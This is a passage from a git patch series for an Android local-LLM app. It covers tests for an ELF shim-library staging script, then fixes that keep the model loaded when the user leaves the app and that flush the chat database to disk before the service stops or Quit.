unresolved. API 24 and 30, the first and the newest level, both + // look fine. No libandroid.so stub exists below 24 (STUBS starts it there), so checking 21-23 + // would fail the build too. + stubTree(dir, withExtra({ + 'libandroid.so': { AHardwareBuffer_lockPlanes: [FUNC, 26] }, + 'libnativewindow.so': { AHardwareBuffer_lockPlanes: [FUNC, 29] }, + }), [21, 22, 23, 24, 25, 26, 27, 28, 29, 30]) + const { apis, exportsOf } = ndkStubs(dir, 24) + assert.deepEqual(apis, [24, 25, 26, 27, 28, 29, 30]) + const lib = (extraSymbols) => readDynamic(fakeElf(litertLike(extraSymbols)), 'liblitert-lm.so') + assert.deepEqual(planShims(lib([]), exportsOf, apis).map((sh) => sh.functions), [['AAssetManager_open', 'AAsset_close']]) + assert.throws(() => planShims(lib([fn('AHardwareBuffer_lockPlanes', WEAK)]), exportsOf, apis), + /AHardwareBuffer_lockPlanes \(weak\): only libandroid.so provides it \(API 26-28\)/) + assert.throws(() => ndkStubs(dir, 20), /no stub libraries for API 20/) + } finally { + rmSync(dir, { recursive: true, force: true }) + } +}) + +test('a replaced library imported with symbol versions fails the build', () => { + assert.throws(() => plan(litertLike([], { verneed: [{ file: 'libandroid.so', versions: ['LIBANDROID'] }] })), + /libandroid.so: imports from it carry symbol versions/) +}) + +test('renameNeeded changes the DT_NEEDED string and nothing else', () => { + const before = fakeElf(litertLike()) + const after = Buffer.from(before) + const lib = readDynamic(after, 'x') + renameNeeded(after, lib, 'libandroid.so', 'liblrtandr.so') + const changed = [...after.keys()].filter((i) => after[i] !== before[i]) + assert.deepEqual(changed, [3, 4, 5, 6, 7, 8, 9].map((i) => lib.strtab + lib.needed[0].off + i)) + const reread = readDynamic(after, 'x') + assert.deepEqual(reread.needed.map((n) => n.name), ['liblrtandr.so', 'liblog.so', 'libc.so']) + assert.deepEqual(reread.symbols, lib.symbols) + assert.ok(after.includes('ANEURALNETWORKS_NO_ERROR\0libandroid.so\0'), 'the .rodata copy is left alone') +}) + +test('renameNeeded refuses a string another reference shares', () => { + // A symbol with the same name shares the string (lld emits identical strings once). + const same = fakeElf(litertLike([fn('libandroid.so')])) + assert.throws(() => renameNeeded(same, readDynamic(same, 'x'), 'libandroid.so', 'liblrtandr.so'), /symbol \d+ share\(s\) the string/) + // So does one that points into its tail ("android.so"). + const tail = fakeElf(litertLike()) + const lib = readDynamic(tail, 'x') + const symtab = Number(tail.readBigUInt64LE(Number(tail.readBigUInt64LE(40)) + 64 + 24)) + tail.writeUInt32LE(lib.needed[0].off + 3, symtab + 24 * 2) // symbol 2, AAsset_close + assert.throws(() => renameNeeded(tail, readDynamic(tail, 'x'), 'libandroid.so', 'liblrtandr.so'), /symbol 2 share\(s\) the string/) + assert.throws(() => renameNeeded(Buffer.from(tail), lib, 'libandroid.so', 'liblrtandr2.so'), /cannot rename/) +}) + +test('renameNeeded refuses a DT_NEEDED entry that is the tail of a longer string', () => { + // Point DT_NEEDED at the "libandroid.so" that ends the symbol name my_libandroid.so: no other + // reference starts inside it, but renaming it would rename that symbol. + const b = fakeElf(litertLike([fn('my_libandroid.so')])) + const { strtab } = readDynamic(b, 'x') + const dynamic = Number(b.readBigUInt64LE(64 + 56 + 8)) // PT_DYNAMIC's p_offset + b.writeBigUInt64LE(BigInt(b.indexOf('my_libandroid.so\0', strtab) - strtab + 3), dynamic + 8) // entry 0 + const lib = readDynamic(b, 'x') + assert.equal(lib.needed[0].name, 'libandroid.so') + const before = Buffer.from(b) + assert.throws(() => renameNeeded(b, lib, 'libandroid.so', 'liblrtandr.so'), /DT_NEEDED libandroid.so is not a string of its own/) + assert.ok(b.equals(before), 'nothing is written') +}) + +test('shim names keep the length of the name they replace and stay unique', () => { + assert.equal(shimFileName('libandroid.so', new Set()), 'liblrtandr.so') + assert.equal(shimFileName('libfoo.so', new Set()), 'liblrt.so') + const taken = new Set() + for (const lib of ['libmediandk.so', 'libmediaxyz.so', 'libmediaabc.so', 'libabc.so', 'libxyz.so', 'libcamera2ndk.so']) { + const name = shimFileName(lib, taken) + assert.equal(name.length, lib.length, name) + assert.match(name, /^lib[0-9a-z]+\.so$/) + assert.ok(!taken.has(name), name) + taken.add(name) + } + assert.deepEqual([...taken].slice(0, 5), ['liblrtmedia.so', 'liblrtmedi1.so', 'liblrtmedi2.so', 'liblrt.so', 'liblr1.so']) + assert.throws(() => shimFileName('android.so', new Set()), /not a lib\*\.so name/) +}) + +test('isShimFileName accepts every name shimFileName can produce, and not the libraries beside the shims', () => { + // Stems of two, three and four characters, until no name is left: the counter takes over the + // most characters there. + for (const replaced of ['libab.so', 'libxyz.so', 'libandr.so']) { + const taken = new Set() + for (;;) { + let name + try { + name = shimFileName(replaced, taken) + } catch (e) { + assert.match(e.message, /no free shim name/) + break + } + assert.ok(isShimFileName(name), `${replaced}: ${name}`) + taken.add(name) + } + assert.equal(taken.size, { 'libab.so': 1, 'libxyz.so': 35, 'libandr.so': 1260 }[replaced], replaced) + } + assert.throws(() => shimFileName('libx.so', new Set()), /too short/) + // What src/androidMain/jniLibs holds beside them (the llama.cpp engines) and the staged files. + for (const other of ['libggml-base.so', 'libggml.so', 'libllama.so', 'libllama_server.so', 'libllama_server_vk.so', + 'libmtmd.so', 'libomp.so', 'liblog.so', 'liblitert-lm.so', 'liblitertlm_server.so', 'liblr0.so', 'liblrAB.so']) { + assert.ok(!isShimFileName(other), other) + } +}) + +test('removeStaleShims removes the shims an earlier run staged and nothing else in the directory', () => { + const dir = mkdtempSync(join(tmpdir(), 'stage-litert-lm-out-')) + try { + // As if --out were composeApp/src/androidMain/jniLibs: the llama.cpp engines stay. + const others = ['libggml-base.so', 'libggml-cpu.so', 'libggml.so', 'libllama-common.so', 'libllama-server-impl.so', + 'libllama.so', 'libllama_server.so', 'libllama_server_vk.so', 'libmtmd.so', 'libomp.so', 'README.txt', + 'liblitert-lm.so', 'liblitertlm_server.so', 'liblrtandr.so'] + for (const f of [...others, 'liblrtjnigraph.so', 'liblr1.so']) writeFileSync(join(dir, f), f) + mkdirSync(join(dir, 'liblrtdir.so')) // a directory, which no run stages + assert.deepEqual(removeStaleShims(dir, new Set(['liblrtandr.so'])).sort(), ['liblr1.so', 'liblrtjnigraph.so']) + assert.deepEqual(readdirSync(dir).sort(), [...others, 'liblrtdir.so'].sort()) + } finally { + rmSync(dir, { recursive: true, force: true }) + } +}) + +test('the shim source defines each function to report itself and abort', () => { + const src = shimSource({ replaced: 'libandroid.so', shim: 'liblrtandr.so', functions: ['AAssetManager_open', 'AAsset_close'] }, 'test') + assert.deepEqual(src.match(/^SHIM\(.*\)$/gm), ['SHIM(AAssetManager_open)', 'SHIM(AAsset_close)']) + assert.match(src, /libandroid.so cannot be loaded in the engine process \(liblrtandr.so stands in for it\)/) + assert.match(src, /abort\(\);/) + assert.doesNotMatch(src.replace(/^\/\/.*$/gm, ''), /\breturn\b/, 'no function returns') +}) From e0b669cde62383d8a4e74963d6bbd4fd6b7b0503 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 21 Oct 2026 15:45:23 +0000 Subject: [PATCH 55/80] fix(android): leaving the app no longer unloads the model With notifications off, so the engine notification and its Quit cannot be reached, Back or a swipe from Recents set stopWhenIdle in EngineService, and as soon as nothing was generating, importing or downloading, stopNow() POSTed /api/v1/engine/stop and stopped the service. A user who loaded a model, pressed Back and came back a minute later found it gone and waited for it to load again; a model still loading when they left was cancelled. A model is to be unloaded only by the user (Eject in the app, Quit in the notification) or by the daemon's idle timer (Settings, Idle timeout, daemon.idleTtlMinutes: 60 minutes by default, 0 turns it off). Older behaviour, not from this PR: origin/main unloads and stops the same way on Back with notifications off. fix(android): a quick reopen after Back no longer unloads the model (609a1c4) and fix(android): a notification dropped before a grant is posted again (bd61188), in this PR, kept it. - EngineService.kt: stopNow() unloads nothing any more (unloadModel and its engine/stop call are gone). The service stops only once no model is loaded and nothing runs. The new queryLoaded() reads GET /api/v1/status: a model is loaded while the primary engine's engine.state is starting, running or stopping, or while any model is alive or loading in a pool slot beside it, an embedding model or a Jev or Laya model among them (poolModels, the count of those slots, from TurboLLM#287's feat(api): /api/v1/status counts the models loaded beside the primary). A daemon without that field names only a Jev or Laya model there (the jev and laya fields), so those are still read. An engine in error holds nothing. The poll asks it only while the app is closed with notifications off, and stopNow() asks it with the work checks, first and again right before stopping. A failure reads as not loaded, as the work checks read a failure as idle. Before it stops, the service asks the daemon to write its chat database to disk (POST /api/v1/daemon/flush, the new flushDatabase()) and waits for at most 2 s, whatever the answer: a stopped service lets Android freeze the process and later kill it. The route comes with TurboLLM#287; a daemon without it answers 404 and the stop goes ahead. The newest-activity and start-id guards are unchanged, and a reopen during the flush cancels the stop. With the notification visible nothing changes. - PLAY-FGS-DECLARATION.md: the declaration text says that leaving the app never unloads the model, who does (the user, or the idle timer the user can change or turn off), and that with notifications off the service stays while a model is loaded (any model, an embedding model included) or work runs. - play-store-assets/privacy-notes.md: the two places that say how long the service runs with notifications off say the same, and the list of the loopback requests EngineService makes names the status read and the request to write the chat database in place of the engine stop. Behaviour change: with notifications off, Back or a swipe from Recents no longer unloads the model. The service stays in the foreground while a model is loaded or loading (any model, an embedding model included) or work runs, and stops by itself once the user or the daemon's idle timer has unloaded every model and nothing runs, after asking the daemon to write its database. The declaration text Play reviews for the foreground service changes, so it must be pasted into the Play Console again. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real EngineService.kt, compiled with kotlinc 2.2.20 against the stubs of fix(android): the download notification shows its progress and speed, extended with a scripted daemon for GET /api/v1/status and POST /api/v1/daemon/flush (answering, 404, refused, blocking, or a socket that accepts and never answers). Before the fix, with notifications off, Back with a model loaded POSTed engine/stop and destroyed the service within 0.1 s; so did Back during a load, Back with a chat model and an embedding model loaded, Back during a reply once the reply ended (the model still loaded), and turning the Engine channel off after leaving with the notification up. After it nothing calls engine/stop. The service is still in the foreground 10 s after Back with a model loaded, 8 s after Back during a load and again 12 s after (the model loaded at 8 s), 8 s after Back with only a Laya pool model alive, and, with a chat model and an embedding model in a pool slot (poolModels 1), 8 s after Back and 8 s after the chat model is ejected; once the scripted daemon reports nothing loaded, the next poll flushes and then stops (status, status, flush, status, destroyed, in that order: the poll's reading, then stopNow's two, before and after the flush). The scripted daemon's other replies leave poolModels out, as a daemon without it does; poolModels 0, or a value that is not a number, reads as nothing loaded. Back with nothing loaded (or the engine in error, or the status unreadable) flushes and stops within 0.2 s; a flush that blocks holds the stop 2.1 s; a reopen 0.5 s into a flush that never answers cancels the stop; the old activity's close after a quick reopen is still ignored, and Back from the reopened app still stops. Back with the notification up keeps the service with the model loaded and after it is unloaded, and a download with nothing loaded keeps the service until it is done, both as before. Also checked against the real daemon: the same EngineService.kt and DaemonAuth.kt on the JVM, talking to TurboLLM#287's Android bundle on Node 18.20.4 with a stand-in engine. With notifications off, a short reply, then Eject and Back: the service flushed and stopped, and the daemon, killed with kill -9 the moment the service was destroyed (0.08 to 0.10 s after the reply ended), had the chat and its reply in the file on disk, three runs of three. With the flushDatabase() call taken out, the same kill, 0.07 s after the reply, found neither on disk, two runs of two; a kill 1.6 s or 2.9 s after it (Eject 1.5 s later, or a poll that had seen the reply running, so the stop waited for the next poll) found both, written by the daemon itself. compileDebugKotlinAndroid passes. Not run on a device. Device checks, with notifications off. Load a model, press Back, wait a few minutes and reopen: the model is still loaded and answers at once. Set Idle timeout to 1 minute, load a model and press Back: within about two minutes EngineService is gone from adb shell dumpsys activity services com.turbollm. The flush cannot be seen by hand with TurboLLM#287's daemon: since its fix(chat): Android saves chats to disk soon after changes and on request, it writes the database by itself about 1 s after a change (every 10 s before). With the model still loaded the service does not stop at all: after a reply it stops once the model is ejected and Back pressed (or the idle timer unloads the model, a minute or more later), and by hand Eject and Back take longer than that second, so the reply is on disk with or without the flush. The run against the real daemon above shows it; on a phone only a force-stop within 1 s of the reply's end would. With the notification on, the service stays, as before. --- PLAY-FGS-DECLARATION.md | 13 +- .../kotlin/com/turbollm/app/EngineService.kt | 119 ++++++++++++------ play-store-assets/privacy-notes.md | 23 ++-- 3 files changed, 105 insertions(+), 50 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index a580470..873f933 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -61,11 +61,14 @@ during generation. > import, the progress while a model download is running or queued (the file's name as the title, or "Downloading > models" for several, how much has arrived and how fast, and a progress bar), and, when the phone is thermally > throttled, "Running. The phone is hot, so generation will be slower" or "Generating. The phone is hot, so it is -> throttling speed". If the user has turned notifications off, so Quit cannot be reached, leaving the app (Back, or -> swiping it away from Recents) unloads the model and stops the service as soon as nothing is generating, importing or -> downloading; a paused or failed download does not keep it running. Turning the notification off after leaving the -> app does the same. A partial wake lock is held only while a reply is being generated or a model imported or -> downloaded, never while idle. +> throttling speed". Leaving the app never unloads the model by itself: the user does, in the app or with Quit, or +> the app's idle timer does once the model has gone unused for a while (60 minutes by default; the user can change +> it or turn it off in Settings). If the user has turned notifications off, so Quit cannot be reached, leaving the +> app (Back, or swiping it away from Recents) keeps the service only while a model is loaded (any model, an embedding +> model included) or something is being generated, imported or downloaded, and stops it once none of these is true; a +> paused or failed download does not keep it running. Turning the notification off after leaving the app does the +> same. A partial wake lock is held only while a reply is being generated or a model imported or downloaded, never +> while idle. **Why does no other foreground service type fit?** diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 35382e1..eba7e6e 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -30,6 +30,10 @@ private const val EXTRA_ACTIVITY = "com.turbollm.app.ACTIVITY" private const val POLL_MS = 3000L /** How many polls in a row may fail to read the download list before the notification drops its last progress. */ private const val DOWNLOAD_MISSES = 3 +/** The longest the daemon is given to write its database before the service stops (flushDatabase). */ +private const val FLUSH_WAIT_MS = 2000L +/** The primary engine states in which it holds a model (the daemon's manager.ts State): see queryLoaded. */ +private val LOADED_STATES = setOf("starting", "running", "stopping") /** Keeps the daemon and its engine processes running while the app is not on screen. * @@ -58,8 +62,8 @@ class EngineService : Service() { /** Polls in a row that could not read the download list (see pollActivity). Poll thread only. */ private var downloadMisses = 0 @Volatile private var thermal = 0 - /** Set when the app was closed with notifications off: stop as soon as nothing is generating, importing or - * downloading (see appClosed). */ + /** Set when the app was closed with notifications off: stop once no model is loaded and nothing is generating, + * importing or downloading (see appClosed). */ @Volatile private var stopWhenIdle = false /** Set when the app was closed with Quit reachable, so the service stayed for it: the poll then keeps checking * that Quit can still be reached (see pollActivity). */ @@ -149,8 +153,8 @@ class EngineService : Service() { } /** "Quit" in the notification: how the user frees a loaded model's memory without going back into the app, since - * the service otherwise outlives the activity (with notifications off, appClosed does it instead). Killing the - * process takes the engine children with it (Android kills the app's whole process group). */ + * the service otherwise outlives the activity (with notifications off there is no Quit, see appClosed). Killing + * the process takes the engine children with it (Android kills the app's whole process group). */ private fun quit() { Log.i(TAG, "quit from the notification") synchronized(stateLock) { @@ -168,10 +172,11 @@ class EngineService : Service() { super.onTaskRemoved(rootIntent) } - /** The user left the app (Back, or swiped from Recents). With the notification visible, its Quit is how they free - * the model, so the service stays. Without it there is nothing to reach, so the service unloads the model and - * stops once nothing is generating, importing or downloading, and the process becomes an ordinary closed app - * Android can reclaim. */ + /** The user left the app (Back, or swiped from Recents). Leaving never unloads the model: only the user does (in + * the app, or with Quit), or the daemon's own idle timer (Settings, daemon.idleTtlMinutes, which the user can + * change or turn off). With the notification visible, its Quit is how they free the model, so the service stays. + * Without it there is nothing to reach, so the service stays only while a model is loaded or work runs, and stops + * once neither is true (stopNow), and the process becomes an ordinary closed app Android can reclaim. */ private fun appClosed() { // Post it again first. quitReachable() reads the settings, not the shade, and a post made while notifications // were off is dropped for good: on Android 13+ startForeground posts before the user can answer the @@ -199,9 +204,12 @@ class EngineService : Service() { return true } - /** Unload the model, then stop, unless the app came back or a newer start request arrived in the meantime. - * Unloading first matters: a stopped service alone leaves the model resident until Android reclaims the process, - * and with no notification there would be no other way to free it. */ + /** Stop, once no model is loaded and nothing runs, unless the app came back or a newer start request arrived in + * the meantime. It unloads nothing. It used to stop the model (POST /api/v1/engine/stop) as soon as nothing was + * generating, so a loaded model was gone after every Back with notifications off; a model is unloaded only by + * the user or by the daemon's idle timer, and until one of them has, the poll keeps the service up. The daemon + * writes its chat database to disk first (flushDatabase): a stopped service lets Android freeze the process and + * later kill it, which loses whatever the daemon had not written yet. */ private fun stopNow() { if (!stopping.compareAndSet(false, true)) return val startId = lastStartId @@ -209,37 +217,49 @@ class EngineService : Service() { // the start it sends waits on the main thread behind that onCreate, and stopWhenIdle stays set until it runs. val activity = newestActivity Thread({ - // `busy` is the poll's view, up to 3 s old: a reply sent just before Back would not be in it yet. Ask the - // daemon now, and again right before unloading, so a generation that has just started is never aborted. - val idle = !queryBusy() && !queryDownloading() && !ModelImport.isRunning() - if (idle) { - unloadModel { - stopWhenIdle && newestActivity == activity && - !queryBusy() && !queryDownloading() && !ModelImport.isRunning() - } + // `busy` is the poll's view, up to 3 s old: a reply sent or a model load started just before Back would + // not be in it yet. Ask the daemon now, and again after the flush, right before stopping, so the service + // never stops under work or a model that has just started. + val stop = idleNow() && run { + flushDatabase() + stopWhenIdle && newestActivity == activity && idleNow() } ContextCompat.getMainExecutor(this).execute { stopping.set(false) // onDestroy releases the wake lock and clears `running` once the stop takes effect. - if (idle && stopWhenIdle && newestActivity == activity && !busy) stopSelfResult(startId) + if (stop && stopWhenIdle && newestActivity == activity && !busy) stopSelfResult(startId) } }, "turbollm-stop").start() } - /** Stop the primary model through the daemon (POST /api/v1/engine/stop), freeing its memory. Best-effort. */ - private fun unloadModel(stillWanted: () -> Boolean) { - runCatching { - if (!stillWanted()) return - val conn = DaemonAuth.open("/api/v1/engine/stop") - conn.requestMethod = "POST" - conn.doOutput = true - conn.setRequestProperty("Content-Type", "application/json") - conn.connectTimeout = 1000 - conn.readTimeout = 5000 - conn.outputStream.use { it.write("{}".toByteArray()) } - conn.responseCode - conn.disconnect() - }.onFailure { Log.w(TAG, "could not unload the model before stopping", it) } + /** No model loaded and nothing generating, importing or downloading, asked of the daemon now (see stopNow). */ + private fun idleNow(): Boolean = !queryBusy() && !queryDownloading() && !ModelImport.isRunning() && !queryLoaded() + + /** Ask the daemon to write its chat database to disk now (POST /api/v1/daemon/flush), waiting at most + * FLUSH_WAIT_MS. On Android the database is kept in memory (sql.js) and written out on the daemon's own schedule, + * so what it had not written yet when the process went was lost. Best-effort: a daemon without the route (404), + * one that does not answer, or a failed proof only ends the wait. The wait has a deadline of its own because + * DaemonAuth.open's proof alone may take up to 3 s against a port that does not answer. */ + private fun flushDatabase() { + val flush = Thread({ + runCatching { + val conn = DaemonAuth.open("/api/v1/daemon/flush") + try { + conn.requestMethod = "POST" + conn.doOutput = true + conn.setRequestProperty("Content-Type", "application/json") + conn.connectTimeout = 500 + conn.readTimeout = 1500 + conn.outputStream.use { it.write("{}".toByteArray()) } + val code = conn.responseCode + if (code != 200) Log.w(TAG, "the daemon did not write its database (HTTP $code)") + } finally { + conn.disconnect() + } + }.onFailure { Log.w(TAG, "could not ask the daemon to write its database", it) } + }, "turbollm-flush").apply { isDaemon = true } + flush.start() + runCatching { flush.join(FLUSH_WAIT_MS) } } private fun pollActivity() { @@ -290,7 +310,9 @@ class EngineService : Service() { if (closedWithQuit && !quitReachable()) { ContextCompat.getMainExecutor(this).execute { if (running && closedWithQuit) appClosed() } } - if (stopWhenIdle && !nowBusy) { + // A loaded model keeps the service up too, until the user or the daemon's idle timer unloads it (stopNow). + // Asked only while the app is closed with notifications off, the one case it decides anything. + if (stopWhenIdle && !nowBusy && !queryLoaded()) { ContextCompat.getMainExecutor(this).execute { if (stopWhenIdle && !busy) stopNow() } } if (++polls % 20 == 0) DaemonLog.rotateIfLarge(filesDir) // about once a minute @@ -323,6 +345,33 @@ class EngineService : Service() { false } + /** True while the daemon holds a model: the primary engine loading, running or still stopping (`engine.state` + * starting, running or stopping), or any model alive in a pool slot beside it, such as an embedding model or a + * Jev or Laya model, all from GET /api/v1/status. `poolModels` counts those slots (running, starting or + * stopping); a daemon from before TurboLLM#287 leaves it out, which reads as 0, and names only a Jev or Laya model + * (`jev`, `laya`), so those are still read. An engine in `error` holds nothing. Any failure reads as not loaded, + * as the work checks read it as idle: a daemon that no longer answers has nothing to keep, and a stop needs two + * readings to agree, stopNow's before and after the flush (appClosed calls stopNow at once when nothing is busy; + * when the poll starts the stop, its own reading comes first). */ + private fun queryLoaded(): Boolean = try { + val conn = DaemonAuth.open("/api/v1/status") + conn.connectTimeout = 1000 + conn.readTimeout = 2000 + try { + if (conn.responseCode != 200) { + false + } else { + val json = JSONObject(conn.inputStream.bufferedReader().use { it.readText() }) + json.optJSONObject("engine")?.optString("state") in LOADED_STATES || json.optInt("poolModels") > 0 || + json.optJSONObject("jev") != null || json.optJSONObject("laya") != null + } + } finally { + conn.disconnect() + } + } catch (_: Exception) { + false + } + /** True while the daemon has a model download running or queued (GET /api/v1/downloads). Any failure = idle, as * above; a paused or failed download does not count, as nothing is transferring. */ private fun queryDownloading(): Boolean = !queryDownloads().isNullOrEmpty() diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 43b2e43..3c2acb4 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -50,7 +50,8 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti daemon at `http://127.0.0.1:7000`. `DaemonWebView.kt` loads the UI from there, and `DaemonAuth.kt` makes the app's other calls to it: the check that the daemon proves itself before the app sends its secret, and the authenticated requests from `EngineService.kt` - (activity, downloads, engine stop), `ModelImport.kt` (adding the imported-models folder) and + (activity, downloads, status, and the request to write the chat database to disk before + the service stops), `ModelImport.kt` (adding the imported-models folder) and `StorageAccess.kt` (rescan). (`DaemonClient.kt` in `commonMain` points at `127.0.0.1:6996`; it is unused Spike A code that only the old `App()` screen, which the Android app never shows, constructs.) The web UI in that WebView goes further, though: it @@ -95,8 +96,9 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti - `FOREGROUND_SERVICE` and `FOREGROUND_SERVICE_SPECIAL_USE` — `EngineService`, a foreground service of type `specialUse` that keeps the daemon, the engines and a loaded model running while the app is in the background. It starts when the app is opened and runs until Quit in - its notification (or, with notifications off, until the app is left with nothing generating, - importing or downloading). `PLAY-FGS-DECLARATION.md` has the text for Play's declaration. + its notification (or, with notifications off, until the app is left with no model loaded and + nothing generating, importing or downloading). `PLAY-FGS-DECLARATION.md` has the text for + Play's declaration. - `POST_NOTIFICATIONS` — that service's ongoing notification, which carries the Quit action and the "phone is hot" warning. On Android 13+ the app asks for it each time it starts until it is granted; Android stops showing the prompt once the user has declined it twice. The service @@ -173,13 +175,14 @@ When the cloud backup actually runs: Android's scheduled Auto Backup takes an ap day, and by default only while the phone is idle, charging and on Wi-Fi (any unmetered network, or mobile data if the user allowed it). It also passes over an app that counts as in the foreground, and an app running a foreground service does. `EngineService` is one, and it runs from the moment -the app is opened until Quit (with notifications off, until the app is left with nothing -generating, importing or downloading), so while it runs Android puts TurboLLM's backup off and -tries again 1 to 3 hours later. A phone that keeps the app open day and night can go a long time -without a new TurboLLM backup; one is taken on a night the app is not running, after Quit, a -reboot, or Android ending the process. Excluding the models only keeps a backup that does run -under the 25 MB quota. `android:backupInForeground="true"` would remove the wait, but Android -stops the app to back it up, which would unload the model and cut off a reply, so it is not set. +the app is opened until Quit (with notifications off, until the app is left with no model loaded +and nothing generating, importing or downloading), so while it runs Android puts TurboLLM's +backup off and tries again 1 to 3 hours later. A phone that keeps the app open day and night can +go a long time without a new TurboLLM backup; one is taken on a night the app is not running, +after Quit, a reboot, or Android ending the process. Excluding the models only keeps a backup +that does run under the 25 MB quota. `android:backupInForeground="true"` would remove the wait, +but Android stops the app to back it up, which would unload the model and cut off a reply, so it +is not set. `config.json` also holds, in plaintext, every third-party credential the user has entered: the Hugging Face and GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily/Kagi From 93bf4a270db1278223c9de6dab7c354d0f0fcdf8 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 21 Oct 2026 15:46:53 +0000 Subject: [PATCH 56/80] fix(android): Quit writes the chat database to disk before the app exits Quit in the engine notification killed the app's process at once (Process.killProcess). On Android the daemon keeps the chat database in memory (sql.js) and writes it to disk only on its own schedule (every 10 s in sql-js-database.ts when this was found), so anything written in the seconds before Quit was lost: a reply that had finished 2 s before came back empty ("This message is empty."), and a chat started just before was gone. The FGS video script's last step, a reply that has just ended and then Quit, does exactly that. Older bug, not from this PR: origin/main's quit() kills the process the same way, with the same database code in the daemon. EngineService.kt: quit() asks the daemon to write the database first, through flushDatabase() from fix(android): leaving the app no longer unloads the model (POST /api/v1/daemon/flush, connect timeout 500 ms, read timeout 1.5 s, and at most 2 s in all, since DaemonAuth's proof alone may take up to 3 s against a port that does not answer). It runs on a thread of its own, not the main thread quit() is called on. The service stays in the foreground, with its notification, until the flush has answered or the 2 s are up, so Android cannot freeze the process under the write; then, on the main thread as before, it leaves the foreground, stops and kills the process, whatever the flush answered. The poll and the wake lock stop at once, as before. The route comes with TurboLLM#287; a daemon without it answers 404 and Quit goes ahead at once. play-store-assets/privacy-notes.md: the list of the loopback requests EngineService makes says that the request to write the chat database is also made before Quit. Behaviour change: Quit waits for the daemon to write its chat database, for at most 2 s (tens of milliseconds when it answers), before the app exits; the notification stays up until then. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real EngineService.kt and the scripted daemon of fix(android): leaving the app no longer unloads the model, measuring from the Quit intent to killProcess. Before the fix the kill came 0.01 s after Quit and the flush route was never called. After it the flush is called first, then the kill: 0.04 s after Quit when the flush answers 200, 0.04 s on a 404, 0.05 s when the connection is refused, 1.58 s when the socket accepts and never answers (the read timeout), and 2.01 s when the call blocks (the overall limit). Also checked against the real daemon, as in fix(android): leaving the app no longer unloads the model (TurboLLM#287's Android bundle on Node 18.20.4, a stand-in engine). Quit right after a short reply, the daemon killed with kill -9 the moment killProcess ran (0.02 to 0.03 s after the reply ended): the chat and its reply were in the file on disk, three runs of three. With quit()'s flushDatabase() call taken out, the same kill, 0.02 s after the reply, found neither on disk, two runs of two, and a Quit 1.5 s after the reply found both, written by the daemon itself. compileDebugKotlinAndroid passes. Not run on a device. Device check: send a short message, tap Quit in the notification within a second of the reply ending, reopen the app: the reply is there (with a daemon that has the flush route). A later Quit shows nothing about the flush: TurboLLM#287's daemon writes the database by itself about 1 s after a change, since its fix(chat): Android saves chats to disk soon after changes and on request. Quit still closes the app and frees the model, within about 2 s. --- .../kotlin/com/turbollm/app/EngineService.kt | 19 +++++++++++++++---- play-store-assets/privacy-notes.md | 2 +- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index eba7e6e..aab72d4 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -154,16 +154,27 @@ class EngineService : Service() { /** "Quit" in the notification: how the user frees a loaded model's memory without going back into the app, since * the service otherwise outlives the activity (with notifications off there is no Quit, see appClosed). Killing - * the process takes the engine children with it (Android kills the app's whole process group). */ + * the process takes the engine children with it (Android kills the app's whole process group). + * + * The daemon writes its chat database to disk first (flushDatabase). The kill used to come at once, and the + * daemon writes the database only on its own schedule, so a reply that had just finished, or a chat started just + * before Quit, was gone when the app was opened again. The flush runs off the main thread, where this is called, + * and takes at most FLUSH_WAIT_MS; the service stays in the foreground until then, so Android cannot freeze the + * process under the write. The kill follows whatever the flush answered. */ private fun quit() { Log.i(TAG, "quit from the notification") synchronized(stateLock) { running = false releaseWakeLock() } - ServiceCompat.stopForeground(this, ServiceCompat.STOP_FOREGROUND_REMOVE) - stopSelf() - Process.killProcess(Process.myPid()) + Thread({ + flushDatabase() + ContextCompat.getMainExecutor(this).execute { + ServiceCompat.stopForeground(this, ServiceCompat.STOP_FOREGROUND_REMOVE) + stopSelf() + Process.killProcess(Process.myPid()) + } + }, "turbollm-quit").start() } /** Swiped away from Recents: the same as backing out of the app. */ diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 3c2acb4..dfcde9e 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -51,7 +51,7 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti `DaemonAuth.kt` makes the app's other calls to it: the check that the daemon proves itself before the app sends its secret, and the authenticated requests from `EngineService.kt` (activity, downloads, status, and the request to write the chat database to disk before - the service stops), `ModelImport.kt` (adding the imported-models folder) and + Quit and before the service stops), `ModelImport.kt` (adding the imported-models folder) and `StorageAccess.kt` (rescan). (`DaemonClient.kt` in `commonMain` points at `127.0.0.1:6996`; it is unused Spike A code that only the old `App()` screen, which the Android app never shows, constructs.) The web UI in that WebView goes further, though: it From 73bbbd07678840203382f8699a83c62c156303bd Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 21 Oct 2026 15:47:51 +0000 Subject: [PATCH 57/80] fix(android): the WebView is destroyed when its screen goes away Nothing called WebView.destroy(). Back from the root screen finishes MainActivity, which disposes its composition, but the AndroidView that hosts 